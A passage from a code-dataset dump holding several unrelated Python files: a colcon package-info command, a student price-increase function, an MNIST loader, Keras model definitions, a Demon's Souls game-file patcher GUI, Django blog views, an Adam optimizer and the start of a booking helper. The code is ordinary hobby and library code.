add_arguments(self, *, parser): # noqa: D102\n parser.add_argument(\n 'package_names', nargs='*', metavar='PKG_NAME',\n type=argument_package_name,\n help='Only show the information of a subset of packages')\n\n # only added so that package selection arguments can be used\n # which use the build directory to store state information\n parser.add_argument(\n '--build-base',\n default='build',\n help='The base path for all build directories (default: build)')\n\n add_packages_arguments(parser)\n\n def main(self, *, context): # noqa: D102\n descriptors = get_package_descriptors(\n context.args, additional_argument_names=['*'])\n decorators = topological_order_packages(\n descriptors, recursive_categories=('run', ))\n select_package_decorators(context.args, decorators)\n\n if context.args.package_names:\n all_package_names = {d.descriptor.name for d in decorators}\n # warn about passed package names which are unknown\n for pkg_name in context.args.package_names:\n if pkg_name not in all_package_names:\n print(\n \"Package '{pkg_name}' not found\".format_map(locals()),\n file=sys.stderr)\n # filter decorators using passed package names\n decorators = [\n d for d in decorators\n if d.descriptor.name in context.args.package_names]\n if not decorators:\n return 1\n if not decorators:\n return 'No packages found'\n\n for decorator in sorted(decorators, key=lambda d: d.descriptor.name):\n if not decorator.selected:\n continue\n pkg = decorator.descriptor\n print('path:', pkg.path)\n print(' type:', pkg.type)\n print(' name:', pkg.name)\n if pkg.dependencies:\n print(' dependencies:')\n for category in sorted(pkg.dependencies.keys()):\n print(\n ' {category}:'.format_map(locals()),\n ' '.join(sorted(pkg.dependencies[category])))\n if pkg.hooks:\n print(' hooks:', ' '.join(pkg.hooks))\n if pkg.metadata:\n print(' metadata:')\n for key in sorted(pkg.metadata.keys()):\n value = pkg.metadata[key]\n print(\n ' {key}: {value}'\n .format_map(locals()))\n\n\ndef argument_package_name(value):\n \"\"\"\n Check if an argument is a valid package name.\n\n Used as a ``type`` callback in ``add_argument()`` calls.\n Package names starting with a dash must be prefixed with a space to avoid\n collisions with command line arguments.\n\n :param str value: The command line argument\n :returns: The package name\n :raises argparse.ArgumentTypeError: if the value starts with a dash\n \"\"\"\n if value.startswith('-'):\n raise argparse.ArgumentTypeError('unrecognized argument: ' + value)\n return value.lstrip()\n","repo_name":"colcon/colcon-package-information","sub_path":"colcon_package_information/verb/info.py","file_name":"info.py","file_ext":"py","file_size_in_byte":3831,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"39304630285","text":"\"\"\"\n1. Crear una función llamada aplicarAumento que reciba como parámetro el precio de un producto \ny devuelva el valor del producto con un aumento del 5%. \nRealizar la llamada desde el main.\n\"\"\"\n\ndef aplicarAumento(valor_producto:float)->float:\n \"\"\" Aplica un aumento al valor de un producto\n Args:\n valor_producto (float): El valor del producto al que desea aplicar el aumento\n Returns:\n float: El valor con el aumento aplicado\n \"\"\"\n porcentaje = 5\n valor_aumento = (valor_producto * porcentaje)/100\n valor_producto_aumentado = valor_producto + valor_aumento\n return valor_producto_aumentado\n\nprint(aplicarAumento())","repo_name":"LukaBevilacqua/Luka-Bevilacqua-parcial-programacion-1A","sub_path":"funcion1.py","file_name":"funcion1.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"21626625556","text":"import numpy as np\n\nclass Dataset():\n def __init__(self, fn_labels, fn_images):\n self.fn_labels = fn_labels\n self.fn_images = fn_images\n\n self.images = []\n self.img_count = 0\n self.img_size = [0, 0]\n\n self.labels = []\n \n def load(self, count):\n self.img_count = count\n with open(self.fn_images, 'rb') as file:\n magic_nb = int.from_bytes(file.read(4), \"big\")\n total_img = int.from_bytes(file.read(4), \"big\")\n self.img_size[1] = int.from_bytes(file.read(4), \"big\")\n self.img_size[0] = int.from_bytes(file.read(4), \"big\")\n \n print(f'mn: {magic_nb}, total_img:{total_img}, nb_images:{self.img_count}, size: {self.img_size[0]}x{self.img_size[1]}')\n data = 0\n for i in range(count):\n image = np.zeros((self.img_size[0], self.img_size[1]), dtype=np.float32)\n for r in range(self.img_size[1]):\n for c in range(self.img_size[0]):\n data = int.from_bytes(file.read(1), \"big\")\n image[r,c] = float(data / 255.0)\n self.images.append(image)\n \n \n with open(self.fn_labels, 'rb') as file:\n magic_nb = int.from_bytes(file.read(4), \"big\")\n total_labels = int.from_bytes(file.read(4), \"big\")\n for i in range(count):\n self.labels.append(int.from_bytes(file.read(1), \"big\"))\n \n self.images = np.array(self.images)\n self.labels = np.array(self.labels)","repo_name":"subski/mnist_gui","sub_path":"dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":1581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71339575282","text":"import numpy as np\nimport PIL\nimport tensorflow as tf\n\nfrom tensorflow import keras\nfrom tensorflow.keras import layers\nfrom tensorflow.keras.models import Sequential\n\n\ndef Mobilenet_v3(width, height, channel, class_num):\n model = tf.keras.applications.MobileNetV3Small(\n input_shape=(width, height, channel),\n alpha=0.5,\n minimalistic=False,\n include_top=True,\n weights=None,\n input_tensor=None,\n classes=class_num,\n pooling=None,\n dropout_rate=0.2,\n classifier_activation=\"softmax\",\n include_preprocessing=False\n )\n return model\n\n\ndef Mobilenet_v2(width, height, channel, class_num):\n model = tf.keras.applications.mobilenet_v2.MobileNetV2(\n input_shape=(width, height, channel),\n alpha=0.5,\n include_top=True,\n weights=None,\n input_tensor=None,\n pooling=None,\n classes=class_num,\n classifier_activation='softmax',\n )\n return model\n\ndef Mobilenet_v2(width, height, channel, class_num):\n model = tf.keras.applications.mobilenet_v2.MobileNetV2(\n input_shape=(width, height, channel),\n alpha=0.5,\n include_top=True,\n weights=None,\n input_tensor=None,\n pooling=None,\n classes=class_num,\n classifier_activation='softmax',\n )\n return model\n\n\ndef Resnet50(width, height, channel, class_num):\n model = tf.keras.applications.resnet_v2.ResNet50V2(\n include_top=True,\n weights=None,\n input_tensor=None,\n input_shape=(width, height, channel),\n pooling=None,\n classes=class_num,\n classifier_activation='softmax'\n )\n return model\n\ndef cnn_example(width, height, channel, class_num):\n model = Sequential([\n layers.Rescaling(1./255, input_shape=(width, height, channel)),\n layers.Conv2D(4, 3, padding='same', activation='relu'),\n layers.Conv2D(4, 3, padding='same', activation='relu'),\n layers.MaxPooling2D(),\n layers.Conv2D(8, 3, padding='same', activation='relu'),\n layers.Conv2D(8, 3, padding='same', activation='relu'),\n layers.MaxPooling2D(),\n layers.Conv2D(16, 3, padding='same', activation='relu'),\n layers.Conv2D(16, 3, padding='same', activation='relu'),\n layers.MaxPooling2D(),\n layers.Conv2D(32, 3, padding='same', activation='relu'),\n layers.Conv2D(32, 3, padding='same', activation='relu'),\n layers.MaxPooling2D(),\n layers.Flatten(),\n layers.Dense(128, activation='relu'),\n layers.Dropout(rate=0.8),\n layers.Dense(class_num, activation=\"softmax\")\n ])\n return model\n\n\n\ndef main():\n model = Resnet50(96,96,1,5)\n model.summary()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"LeeSonShin/Model_Maker","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"23971872463","text":"import hashlib\nimport json\nimport os\nimport sys\nimport tkinter.filedialog\nimport tkinter as tk\n\nfrom diff_match_patch import diff_match_patch\nfrom shutil import copyfile, move\n\nBASE_DIR = os.path.dirname(sys.argv[0])\n\nDATA_PATH = os.path.join(BASE_DIR, 'data.json')\nif os.path.isfile(DATA_PATH):\n with open('data.json', 'r') as f:\n DATA = json.loads(f.read())\nelse:\n DATA = {\n 'root-dir': BASE_DIR,\n 'window': {\n 'width': 750,\n 'height': 540\n }\n }\n\nSCRIPT_DIR = os.path.join(DATA['root-dir'], 'script').replace('\\\\', '/')\n\nDMP = diff_match_patch()\n\nlog_text = ''\n\n\ndef log_and_print(text):\n global log_text\n print(text)\n log_text += text + '\\n'\n\n\ndef get_mods():\n mod_dir = os.path.join(BASE_DIR, 'mods')\n mods = []\n if not os.path.isdir(mod_dir):\n os.mkdir(mod_dir)\n return mods\n subdir_names = [f for f in os.listdir(mod_dir) if os.path.isdir(os.path.join(mod_dir, f))]\n for subdir_name in subdir_names:\n subdir = os.path.join(mod_dir, subdir_name)\n data_file = os.path.join(subdir, 'data.json')\n if not os.path.isfile(data_file):\n continue\n with open(data_file, 'r') as f:\n mod = json.load(f)\n mod['patch-name'] = subdir_name\n mods.append(mod)\n return mods\n\n\ndef generate_patches(log_var):\n global log_text\n log_text = ''\n data_file = tkinter.filedialog.askopenfile(filetypes=[('Mod data file', '*.json')])\n if not data_file:\n return None\n data_path = data_file.name\n data = json.load(data_file)\n patch_dir = os.path.dirname(data_path)\n for dir_name in data['files']:\n files = data['files'][dir_name]\n for file_name in files:\n modified_path = os.path.join(DATA['root-dir'], dir_name, file_name)\n bak_path = modified_path + '.bak'\n patch_name = f'{dir_name}---{file_name}.patch'\n if create_patch(bak_path, modified_path, 'hex', patch_dir, patch_name) is None:\n continue\n unmodified_hash = get_hash(bak_path)\n modified_hash = get_hash(modified_path)\n data['files'][dir_name][file_name] = [unmodified_hash, modified_hash]\n data_file.close()\n with open(data_path, 'w+') as f:\n json.dump(data, f, indent=2)\n\n log_var.set(log_text)\n\n\ndef ask_open_file():\n file = tk.filedialog.askopenfile()\n if file:\n file_name = file.name\n file.close()\n return file_name\n else:\n file.close()\n return None\n\n\ndef generate_manual_patch(mode='hex'):\n unmodified_file_path = ask_open_file()\n modified_file_path = ask_open_file()\n if not all([unmodified_file_path, modified_file_path]):\n return None\n else:\n create_patch(unmodified_file_path, modified_file_path, mode)\n \n \ndef load_file(path, patch_mode):\n _, name = os.path.split(path)\n try:\n data = None\n if patch_mode == 'hex':\n with open(path, 'rb') as f:\n data = f.read().hex()\n if patch_mode == 'text':\n with open(path, 'r', encoding='shiftjis') as f:\n data = f.read()\n return data\n except FileNotFoundError:\n log_and_print(f'Unmodified file not found: {name}')\n return None\n\n\ndef create_patch(unmodified, modified, patch_mode, mod_dir=None, patch_name=None):\n unmodified_data = load_file(unmodified, patch_mode)\n modified_data = load_file(modified, patch_mode)\n\n if not all([unmodified_data, modified_data]):\n return None\n\n patches = DMP.patch_make(unmodified_data, modified_data)\n diff = DMP.patch_toText(patches)\n\n path, name = os.path.split(modified)\n if mod_dir is None:\n mod_dir = path\n if patch_name is None:\n patch_name = os.path.split(name)[1].split('.')[0] + '.patch'\n if not os.path.isdir(mod_dir):\n os.mkdir(mod_dir)\n\n patch_path = os.path.join(mod_dir, patch_name)\n with open(patch_path, 'w+') as f:\n f.write(diff)\n\n log_and_print(f'Patch file generated: {patch_name}')\n\n\ndef get_hash(filepath):\n sha = hashlib.sha256()\n with open(filepath, 'rb') as f:\n while True:\n data = f.read(sha.block_size)\n if not data:\n break\n sha.update(data)\n return sha.hexdigest()\n\n\ndef check_patchable(file_path, hash_list, mod_hash, patch_path):\n global log_text\n _, file_name = os.path.split(file_path)\n if not os.path.isfile(file_path):\n log_and_print(f'{file_name} not found, skipping')\n return False\n else:\n hash = get_hash(file_path)\n if hash not in hash_list: # file is not in its expected default state\n if hash == mod_hash:\n log_and_print(f'{file_name} already patched, skipping file')\n else:\n log_and_print(f'{file_name} is not in it\\'s default state, please remove patches first')\n return False\n if not os.path.isfile(patch_path):\n _, patch_name = os.path.split(patch_path)\n log_and_print(f'{patch_name} not found, skipping file')\n return False\n return True\n\n\ndef patch_file(unmodified_path, patch_path, *_):\n global log_text\n _, unmodified_name = os.path.split(unmodified_path)\n unmodified_bak_path = unmodified_path + '.bak'\n unmodified_bak_name = unmodified_name + '.bak'\n with open(unmodified_path, 'rb') as f:\n unmodified_data = f.read().hex()\n if os.path.isfile(unmodified_bak_path):\n log_and_print(f'{unmodified_bak_name} already exists, not overwriting')\n else:\n copyfile(unmodified_path, unmodified_bak_path)\n with open(patch_path, 'r') as f:\n patch_data = f.read()\n patches = DMP.patch_fromText(patch_data)\n modified_data, _ = DMP.patch_apply(patches, unmodified_data)\n with open(unmodified_path, 'wb') as f:\n f.write(bytes.fromhex(modified_data))\n log_and_print(f'Applying patch to {unmodified_name}')\n\n\ndef save_data():\n with open('data.json', 'w+') as f:\n json.dump(DATA, f, indent=4)\n\n\n# -------------------------------------------------------------\n# ----------------------- W I D G E T S -----------------------\n# -------------------------------------------------------------\n\ndef get_geometry(settings):\n if all([(key in settings['window']) for key in ['x', 'y']]):\n geometry = '{}x{}+{}+{}'.format(\n settings['window']['width'], settings['window']['height'],\n settings['window']['x'], settings['window']['y']\n )\n else:\n geometry = '{}x{}'.format(\n settings['window']['width'],\n settings['window']['height']\n )\n return geometry\n\n\ndef config_grids(widget, rows=None, columns=None):\n if rows is None:\n rows = [1]\n if columns is None:\n columns = [1]\n [widget.rowconfigure(i, weight=w) for i, w in enumerate(rows)]\n [widget.columnconfigure(i, weight=w) for i, w in enumerate(columns)]\n\n\ndef update_button(widget, text, state='normal'):\n widget.config(text=f'{widget.default_text} {text}', state=state)\n\n\ndef update_text(widget, text):\n widget.config(state='normal')\n widget.delete('1.0', 'end')\n widget.insert('end', text)\n widget.config(state='disabled')\n\n\ndef close_window(root):\n w = root.winfo_width()\n h = root.winfo_height()\n x = root.winfo_x()\n y = root.winfo_y()\n DATA['window'] = {\n 'width': w,\n 'height': h + 20,\n 'x': x,\n 'y': y\n }\n save_data()\n root.destroy()\n\n\nclass Menubar(tk.Menu):\n def __init__(self, master):\n super().__init__(master)\n self.master = master\n\n self.file_menu = tk.Menu(self, tearoff=0)\n\n self.file_menu.add_command(label='Restart', command=self.master.restart)\n self.file_menu.add_command(label='Quit', command=self.master.quit)\n\n self.mods_menu = tk.Menu(self, tearoff=0)\n self.mods_menu.add_command(label='Generate patches', command=lambda: generate_patches(self.master.log_var))\n self.mods_menu.add_command(label='Manual hex patch', command=generate_manual_patch)\n self.mods_menu.add_command(label='Manual text patch', command=lambda: generate_manual_patch('text'))\n\n self.mods_menu.add_separator()\n\n self.mods_menu.add_command(label='Refresh mods', command=self.populate_mods_menu)\n # self.add_cascade(label='File', menu=self.file_menu)\n self.add_cascade(label='Mods', menu=self.mods_menu)\n\n self.mods_menu.add_separator()\n self.populate_mods_menu()\n\n def populate_mods_menu(self):\n self.master.mods = get_mods()\n self.master.set_mod(self.master.mods[0]['patch-name'])\n if not self.master.mods:\n self.mods_menu.add_command(label='No mods found', command=lambda: None, state='disabled')\n for mod in self.master.mods:\n label = mod['patch-name']\n self.mods_menu.add_command(label=label, command=lambda: self.master.set_mod(label))\n\n\nclass MainWindow(tk.Frame):\n def __init__(self, master, *args, **kwargs):\n super().__init__(master, *args, **kwargs)\n self.master = master\n\n font = {'font': 'Calibri 11'}\n\n self.config(bg='gray20')\n\n self.master.title('Demon\\'s Souls Patcher')\n\n self.pack(fill='both', expand=True)\n\n config_grids(self, rows=[1, 0, 0, 0, 0], columns=[1, 0])\n\n self.restart_flag = False\n\n self.mod_frame = tk.Frame(self, bg='gray20')\n self.mod_frame.grid(row=0, column=0, columns=2, sticky='nsew')\n\n self.selected_mod_label = tk.Text(\n self.mod_frame, bg='gray20', fg='gray90', **font, wrap='word', state='disabled', height=2\n )\n self.selected_mod_label.insert(tk.END, 'Select a mod from the menu above')\n self.selected_mod_label.grid(row=0, column=0, sticky='new')\n\n self.description_label = tk.Text(\n self.mod_frame, bg='gray20', fg='gray90', **font, wrap='word', state='disabled'\n )\n self.description_label.grid(row=1, column=0, sticky='new')\n\n config_grids(self.mod_frame, rows=[0, 1])\n\n self.log_frame = tk.Frame(self, bg='gray30')\n self.log_frame.grid(row=1, column=0, columnspan=2, sticky='nsew')\n\n config_grids(self.log_frame)\n\n self.log_var = tk.StringVar()\n self.log_var.set('Browse to the game\\'s script directory (PS3_GAME/USRDIR/script),\\nand then apply patches')\n\n self.log_label = tk.Label(\n self.log_frame, bg='gray30', fg='gray90', textvariable=self.log_var,\n padx=10, pady=10, justify='left', **font\n )\n self.log_label.grid(row=0, column=0, sticky='nsew')\n\n self.dir_var = tk.StringVar()\n self.dir_var.set(SCRIPT_DIR if SCRIPT_DIR else BASE_DIR)\n self.dir_var.trace('w', self.check_dir)\n\n self.dir_entry = tk.Entry(self, textvariable=self.dir_var)\n self.dir_entry.grid(\n row=2, column=0, sticky='nsew', padx=(10, 10), pady=(10, 10)\n )\n\n button_style = {'relief': 'flat', 'pady': 10, 'bg': 'gray80'}\n button_grid = {\n 'sticky': 'nsew', 'padx': (10, 10),\n 'pady': (10, 10)\n }\n\n self.dir_browse_button = tk.Button(\n self, text='Browse', command=self.browse_directory,\n relief='flat', pady=2, bg='gray80'\n )\n self.dir_browse_button.grid(row=2, column=1, **button_grid)\n\n self.apply_patches_button = tk.Button(\n self, text='', command=self.apply_patches,\n **button_style\n )\n self.apply_patches_button.default_text = 'Apply patches'\n self.apply_patches_button.grid(\n row=3, column=0, columnspan=2, **button_grid\n )\n\n self.remove_patches_button = tk.Button(\n self, text='', command=self.remove_patches,\n **button_style\n )\n self.remove_patches_button.default_text = 'Remove patches'\n self.remove_patches_button.grid(\n row=4, column=0, columnspan=2, **button_grid\n )\n\n self.mod = None\n\n self.mod_creation_window = None\n\n self.menu_bar = Menubar(self)\n self.master.config(menu=self.menu_bar)\n\n self.check_dir()\n\n if 'window' not in DATA:\n self.master.geometry('640x480')\n else:\n self.master.geometry(get_geometry(DATA))\n\n def set_mod(self, mod_name):\n mod = next((m for m in self.mods if m['patch-name'] == mod_name), None)\n self.mod = mod\n\n name = ''\n if 'name' in self.mod:\n name = self.mod['name']\n self.selected_mod_label.config(state='normal')\n update_text(self.selected_mod_label, f'Current mod: {name}')\n\n description = ''\n if 'description' in self.mod:\n description = self.mod['description']\n update_text(self.description_label, description)\n\n self.check_dir()\n\n def browse_directory(self):\n directory = tk.filedialog.askdirectory(initialdir=BASE_DIR)\n if os.path.isdir(directory):\n self.dir_var.set(directory)\n\n def apply_patches(self):\n global log_text\n log_text = ''\n\n if not self.check_dir():\n print('Error')\n return '\\nERROR\\n'\n\n for path_name in self.mod['files']:\n root_dir = DATA['root-dir']\n patch_dir = os.path.join(BASE_DIR, 'mods', self.mod['patch-name'])\n file_dir = os.path.join(root_dir, path_name)\n patches = self.mod['files'][path_name]\n for file_name in patches:\n file_path = os.path.join(file_dir, file_name)\n default_hash, modified_hash = patches[file_name]\n patch_path = os.path.join(patch_dir, f'{path_name}---{file_name}.patch')\n\n patchable = check_patchable(file_path, default_hash, modified_hash, patch_path)\n if patchable is False:\n continue\n\n patch_file(file_path, patch_path)\n\n log_text += 'Done'\n self.log_var.set(log_text)\n\n self.check_dir()\n\n def remove_patches(self):\n global log_text\n log_text = ''\n\n if not self.check_dir():\n print('Error')\n return '\\nERROR\\n'\n\n self.log_var.set(log_text)\n\n for path_name in self.mod['files']:\n root_dir = DATA['root-dir']\n file_dir = os.path.join(root_dir, path_name)\n patches = self.mod['files'][path_name]\n for file_name in patches:\n file_path = os.path.join(file_dir, file_name)\n bak_name = file_name + '.bak'\n bak_path = file_path + '.bak'\n if not os.path.isfile(bak_path):\n print(f'Missing backup file {bak_name}')\n log_text += f'Missing backup file {bak_name}\\n'\n else:\n move(bak_path, file_path)\n print(f'Restored {file_name}')\n log_text += f'Restored {file_name}\\n'\n\n log_text += 'Done'\n self.log_var.set(log_text)\n\n self.check_dir()\n\n def check_dir(self, *_):\n dir = self.dir_var.get()\n self.dir_entry.xview('end')\n\n successful = False\n\n if not os.path.isdir(dir):\n update_button(self.apply_patches_button, '(invalid directory)', 'disabled')\n update_button(self.remove_patches_button, '(invalid directory)', 'disabled')\n return False\n\n if dir != DATA['root-dir']:\n DATA['root-dir'], _ = os.path.split(dir)\n save_data()\n\n active_files, backups = [], []\n for dir_name in self.mod['files']:\n dir = os.path.join(DATA['root-dir'], dir_name)\n file_names = self.mod['files'][dir_name]\n for file_name in file_names:\n file_path = os.path.join(dir, file_name)\n active_files.append(os.path.isfile(file_path))\n bak_path = file_path + '.bak'\n backups.append(os.path.isfile(bak_path))\n\n if any(active_files):\n update_button(self.apply_patches_button, '(backups will be generated)')\n successful = True\n else:\n update_button(self.apply_patches_button, '(files to patch not found)', 'disabled')\n\n if not self.mod:\n update_button(self.apply_patches_button, '(no mod selected)')\n\n if any(backups):\n update_button(self.remove_patches_button, '(return game to retail state)')\n successful = True\n else:\n update_button(self.remove_patches_button, '(backup files not found)', 'disabled')\n\n return successful\n\n def quit(self):\n close_window(self.master)\n # self.master.destroy()\n\n def restart(self):\n self.quit()\n self.restart_flag = True\n\n\nif __name__ == '__main__':\n root = tk.Tk()\n root.protocol('WM_DELETE_WINDOW', lambda: close_window(root))\n root.iconbitmap(os.path.join(BASE_DIR, 'icon.ico'))\n window = MainWindow(root)\n root.mainloop()\n\n if window.restart_flag:\n os.system(__file__)\n","repo_name":"colorsolid/DeSPatcher","sub_path":"DeSPatcher.py","file_name":"DeSPatcher.py","file_ext":"py","file_size_in_byte":17176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34985507034","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom django.contrib.auth.mixins import LoginRequiredMixin, UserPassesTestMixin\nfrom django.contrib.auth.models import User\nfrom django.views.generic import (\n ListView,\n DetailView,\n CreateView,\n UpdateView,\n DeleteView,\n TemplateView\n)\nfrom .models import Post, Comment, Photo\nfrom users.forms import ProfileUpdateForm, UserRegisterForm, UserUpdateForm\nfrom django.utils import timezone\nfrom .forms import CommentForm, UploadForm\nfrom django.contrib.auth.decorators import login_required\n\ndef home(request):\n context = {\n 'posts': Post.objects.all()\n }\n return render(request, 'post/home.html', context)\n\n\nclass PostListView(ListView):\n model = Post\n template_name = 'post/home.html' # <app>/<model>_<viewtype>.html\n context_object_name = 'posts'\n ordering = ['-date_posted']\n paginate_by = 5\n\n\nclass UserPostListView(ListView):\n model = Post\n template_name = 'post/user_posts.html' # <app>/<model>_<viewtype>.html\n context_object_name = 'posts'\n paginate_by = 5\n\n def get_queryset(self):\n user = get_object_or_404(User, username=self.kwargs.get('username'))\n return Post.objects.filter(author=user).order_by('-date_posted')\n\n\nclass PostDetailView(DetailView):\n model = Post\n\n\nclass PostCreateView(LoginRequiredMixin, CreateView):\n model = Post\n fields = ['title', 'content']\n\n def form_valid(self, form):\n form.instance.author = self.request.user\n return super().form_valid(form)\n\n\nclass PostUpdateView(LoginRequiredMixin, UserPassesTestMixin, UpdateView):\n model = Post\n fields = ['title', 'content']\n\n def form_valid(self, form):\n form.instance.author = self.request.user\n return super().form_valid(form)\n\n def test_func(self):\n post = self.get_object()\n if self.request.user == post.author:\n return True\n return False\n\n\nclass PostDeleteView(LoginRequiredMixin, UserPassesTestMixin, DeleteView):\n model = Post\n success_url = '/'\n \n def test_func(self):\n post = self.get_object()\n if self.request.user == post.author:\n return True\n return False\n\ndef PostCommentView(request, pk):\n post = get_object_or_404(Post, pk=pk)\n if request.method == \"POST\":\n form = CommentForm(request.POST)\n if form.is_valid():\n comment = form.save(commit=False)\n comment.post = post\n comment.save()\n context = {\n 'posts': Post.objects.all()\n }\n return render(request, 'post/home.html', context)\n else:\n form = CommentForm()\n return render(request, 'post/post_comment.html', {'form': form})\n\ndef about(request):\n return render(request, 'post/about.html', {'title': 'About'})\n\n@login_required\ndef upload(request, pk):\n\n post = get_object_or_404(Post, pk=pk)\n if request.method == \"POST\":\n form = UploadForm(request.POST, request.FILES) # 대용량인 이미지를 처리해야 하므로 두 매개변수를 넘겨줘야함.\n if form.is_valid():\n photo = form.save(commit=False) # photo객체를 가져오긴 하나 DB에 아직 저장하진 않음\n photo.author = request.user # request.user는 로그인한 사용자\n form.save()\n context = {\n 'posts': Post.objects.all()\n }\n return render(request, 'post/home.html', context)\n else:\n form = UploadForm()\n return render(request, 'post/upload.html', {'form': form})\n\nclass IndexView(ListView): \n template_name = 'post/post_detail.html'\n # model = Photo 이렇게 해주면 사용자를 안가리고 모든 photo객체가 넘어가게 되므로 아래와 같이 쿼리를 지정해줌.\n context_object_name = 'user_post_detail' # 템플릿에 전달되는 이름\n\n def get_queryset(self):\n user = self.request.user # 로그인되어있는 사용자\n return user.photo_set.all().order_by('-pub_date')\n","repo_name":"liamkwo/Django-blog","sub_path":"django-blogpost-main/post/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"7122944480","text":"from CommonFunctions import *\n\n\ndef adam(activation, error_func, x, y, epochs=1000, learning_rate=0.001, stop_loss=0.001):\n \"\"\"\n SUMMARY\n Using https://arxiv.org/abs/1412.6980 as a reference.\n Adam is an optimization of gradient descent. The algorithm is essentially a combination of Stochastic Gradient\n Descent with momentum and RMSprop. Adam adjusts the learning rate for each weight (RMSprop), and uses the\n moving average of the gradient rather than the gradient itself (momentum). This algorithm can be thought of as\n a ball with lots of friction rolling down a hill. It's often the default optimization algorithm used when\n training neural networks.\n PROS\n Adam combines the best of RMSprop and sgd with momentum to have a computationally efficient and scalable\n algorithm, with hyperparameters that require no tuning the large majority of the time.\n CONS\n May suffer weight decay problems (the weights go to zero, and are unable to return).\n ARGUMENTS\n x: a numpy array, one row for each trial (set of inputs)\n y: a numpy array, labels for the inputs x. one label per trial\n epochs: integer, number of times we will pass through all training data the weights of the model\n learning_rate: float, a relative value which determines how big the weight adjustments are. Too high and the\n model won't be able to find the local minimum, too small and the model will take too long to find the\n minimum.\n stop_loss: float, if every weight is being adjusted by a value is smaller than stop_loss, the current weights\n are deemed acceptable, and are returned\n activation: function, the type of activation function to be used. (sigmoid works well)\n error_func: function, the type of error function to be used. (mean squared error works well)\n RETURN\n The function returns two elements, the numpy array of best weights found, as well as the error of the\n weights, in that order.\n NOTE\n Typically Adam performs the weight adjustments on a random mini-batch of data (like mini-batch gradient\n descent), however, since we manually define the training dataset, we have a very small dataset, so we are able\n to treat our entire dataset as a mini-batch.\n \"\"\"\n\n num_inputs = len(x[0])\n # we are adding a bias by creating a new node (val=1) in the input layer and treating it as an input\n temp = []\n for row in range(len(x)):\n temp.append(np.append(x[row], 1))\n x = np.array(temp)\n # the two moments, mean and variance\n m = np.zeros(num_inputs + 1)\n v = np.zeros(num_inputs + 1)\n # m moment's exponential decay rate\n beta_1 = 0.9\n # v moment's exponential decay rate\n beta_2 = 0.999\n # prevent division by 0\n epsilon = 10**-8\n\n # we want a vector of length n + 1 (one extra for a bias) for weights, where the values are between -1 and 1\n weights = (np.random.rand(1, num_inputs + 1) * 2 - 1)[0]\n\n def calculate_err():\n y_hats = np.array([])\n for k in range(len(x)):\n y_hats = np.append(y_hats, activation(np.dot(weights, x[k])))\n return error_func(y, y_hats)\n\n # In each epoch, we run the model on every weight for every testing input and output, and adjust each weight once\n for epoch in range(epochs):\n t = epoch + 1 # prevent division by 0\n for i in range(len(x)):\n input_layer = x[i]\n neuron_val = np.dot(weights, input_layer)\n y_hat = activation(neuron_val)\n\n # g is the partial derivative of the cost w.r.t the weight, just like in gradient descent\n g = (activation(neuron_val, deriv=True) + epsilon) * error_func(y[i], [y_hat], deriv=True) * input_layer\n\n # adjust mean and variance such that the decay rate decreases them over time\n m = beta_1 * m + (1 - beta_1) * g\n v = beta_2 * v + (1 - beta_2) * np.power(g, 2)\n\n m_hat = m / (1 - np.power(beta_1, t))\n v_hat = v / (1 - np.power(beta_2, t))\n\n # final adjustment value, notice epsilon added purely to avoid division by 0\n adjustment = learning_rate * m_hat/(np.sqrt(v_hat) + epsilon)\n\n if all(abs(x) < stop_loss for x in adjustment):\n print(\"EARLY STOP\")\n return weights, calculate_err()\n\n weights = weights - adjustment\n\n return weights, calculate_err()\n","repo_name":"evanbernard/MiniNeuralNets","sub_path":"training/Adam.py","file_name":"Adam.py","file_ext":"py","file_size_in_byte":4503,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"75"} +{"seq_id":"15252718819","text":"from collections import OrderedDict\nfrom typing import Dict, Optional\n\nfrom pandas import DataFrame\n\nfrom Architecture.element import Button, Answer, Element\nfrom DB.FuctionsDB import *\nfrom definitions import DF\nfrom exceptions.dataBaseException import DataBaseException\n\n\nclass RecordControl:\n # Преобразование датафрейма в кнопку , дети которой - способы и тд\n @staticmethod\n def queryDfToButton(df: DataFrame) -> Button:\n questionButton = Button(df.iloc[0][DF.QUESTION.value])\n for index, row in df.iterrows():\n button = Button(row[DF.METHOD.value])\n button.addChild(Answer(text=row[DF.DOCS.value], question=DF.DOCS.value))\n button.addChild(Answer(text=row[DF.ACTIONS.value], question=DF.ACTIONS.value))\n button.addChild(Answer(text=row[DF.LINK.value], question=DF.LINK.value))\n questionButton.addChild(button)\n return questionButton\n\n @staticmethod\n def __listToButtonsDict(array: list) -> Dict[str, Button]:\n buttonsDict = OrderedDict()\n for item in array:\n newButton = Button(text=item)\n buttonsDict[item] = newButton\n return buttonsDict\n\n @staticmethod\n def makeEntry(MFCButton, dateButton, buttonTime, chatID: str, name: str,\n phoneNumber: Optional[str] = None):\n phoneNumber = \"-\" if phoneNumber is None else phoneNumber\n try:\n setRecord(time=buttonTime, date=dateButton, nameMFC=MFCButton,\n chat_id=chatID,\n name=name, telephone=phoneNumber)\n except DataBaseException as e:\n print(\"Can not make entry with username \" + chatID)\n\n def getMFCsDict(self) -> Dict[str, Button]:\n MFCs = getMFCsNames()\n return self.__listToButtonsDict(MFCs)\n\n def __getDictFreeTimesByButton(self, MFCButton: Button, dateButton: Button) -> Dict[str, Button]:\n freeTimesList = getFreeTimes(date=dateButton.display(), nameMFC=MFCButton.display())\n freeTimesButtons = self.__listToButtonsDict(freeTimesList)\n for freeTime in freeTimesButtons.values():\n dateButton.addChild(freeTime)\n return freeTimesButtons\n\n def initializeFreeDates(self, MFCButton: Button):\n freeDatesList = 